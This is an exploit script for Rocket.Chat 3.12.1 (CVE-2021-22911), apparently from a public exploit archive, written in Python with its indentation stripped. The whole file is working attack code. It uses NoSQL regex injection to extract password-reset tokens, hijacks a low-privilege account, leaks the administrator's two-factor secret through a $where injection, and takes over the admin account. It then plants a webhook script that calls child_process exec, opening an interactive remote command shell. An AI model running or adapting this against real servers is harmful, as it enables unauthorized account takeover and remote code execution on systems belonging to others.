# Title: Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated)
# Author: enox
# Date: 06-06-2021
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat 3.12.1
# CVE: CVE-2021-22911
# Credits: https://blog.sonarsource.com/nosql-injections-in-rocket-chat
#!/usr/bin/python
import requests
import string
import time
import hashlib
import json
import oathtool
import argparse
parser = argparse.ArgumentParser(description='RocketChat 3.12.1 RCE')
parser.add_argument('-u', help='Low priv user email [ No 2fa ]', required=True)
parser.add_argument('-a', help='Administrator email', required=True)
parser.add_argument('-t', help='URL (Eg: http://rocketchat.local)', required=True)
args = parser.parse_args()
adminmail = args.a
lowprivmail = args.u
target = args.t
def forgotpassword(email,url):
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"sendForgotPasswordEmail\\",\\"params\\":[\\"'+email+'\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/sendForgotPasswordEmail", data = payload, headers = headers, verify = False, allow_redirects = False)
print("[+] Password Reset Email Sent")
def resettoken(url):
u = url+"/api/v1/method.callAnon/getPasswordPolicy"
headers={'content-type': 'application/json'}
token = ""
num = list(range(0,10))
string_ints = [str(int) for int in num]
characters = list(string.ascii_uppercase + string.ascii_lowercase) + list('-')+list('_') + string_ints
while len(token)!= 43:
for c in characters:
payload='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"getPasswordPolicy\\",\\"params\\":[{\\"token\\":{\\"$regex\\":\\"^%s\\"}}]}"}' % (token + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
time.sleep(0.5)
if 'Meteor.Error' not in r.text:
token += c
print(f"Got: {token}")
print(f"[+] Got token : {token}")
return token
def changingpassword(url,token):
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\"]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "error" in r.text:
exit("[-] Wrong token")
print("[+] Password was changed !")
def twofactor(url,email):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
payload ='{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"user\\":{\\"email\\":\\"'+email+'\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
print(f"Got the code for 2fa: {code}")
return code
def changingadminpassword(url,token,code):
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"resetPassword\\",\\"params\\":[\\"'+token+'\\",\\"P@$$w0rd!1234\\",{\\"twoFactorCode\\":\\"'+code+'\\",\\"twoFactorMethod\\":\\"totp\\"}]}"}'
headers={'content-type': 'application/json'}
r = requests.post(url+"/api/v1/method.callAnon/resetPassword", data = payload, headers = headers, verify = False, allow_redirects = False)
if "403" in r.text:
exit("[-] Wrong token")
print("[+] Admin password changed !")
def rce(url,code,cmd):
# Authenticating
sha256pass = hashlib.sha256(b'P@$$w0rd!1234').hexdigest()
headers={'content-type': 'application/json'}
payload = '{"message":"{\\"msg\\":\\"method\\",\\"method\\":\\"login\\",\\"params\\":[{\\"totp\\":{\\"login\\":{\\"user\\":{\\"username\\":\\"admin\\"},\\"password\\":{\\"digest\\":\\"'+sha256pass+'\\",\\"algorithm\\":\\"sha-256\\"}},\\"code\\":\\"'+code+'\\"}}]}"}'
r = requests.post(url + "/api/v1/method.callAnon/login",data=payload,headers=headers,verify=False,allow_redirects=False)
if "error" in r.text:
exit("[-] Couldn't authenticate")
data = json.loads(r.text)
data =(data['message'])
userid = data[32:49]
token = data[60:103]
print("[+] Succesfully authenticated as administrator")
# Creating Integration
payload = '{"enabled":true,"channel":"#general","username":"admin","name":"rce","alias":"","avatarUrl":"","emoji":"","scriptEnabled":true,"script":"const require = console.log.constructor(\'return process.mainModule.require\')();\\nconst { exec } = require(\'child_process\');\\nexec(\''+cmd+'\');","type":"webhook-incoming"}'
cookies = {'rc_uid': userid,'rc_token': token}
headers = {'X-User-Id': userid,'X-Auth-Token': token}
r = requests.post(url+'/api/v1/integrations.create',cookies=cookies,headers=headers,data=payload)
data = r.text
data = data.split(',')
token = data[12]
token = token[9:57]
_id = data[18]
_id = _id[7:24]
# Triggering RCE
u = url + '/hooks/' + _id + '/' +token
r = requests.get(u)
print(r.text)
############################################################
# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token
token = resettoken(target)
## Changing Password
changingpassword(target,token)
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting reset token
token = resettoken(target)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
## Authenticting and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)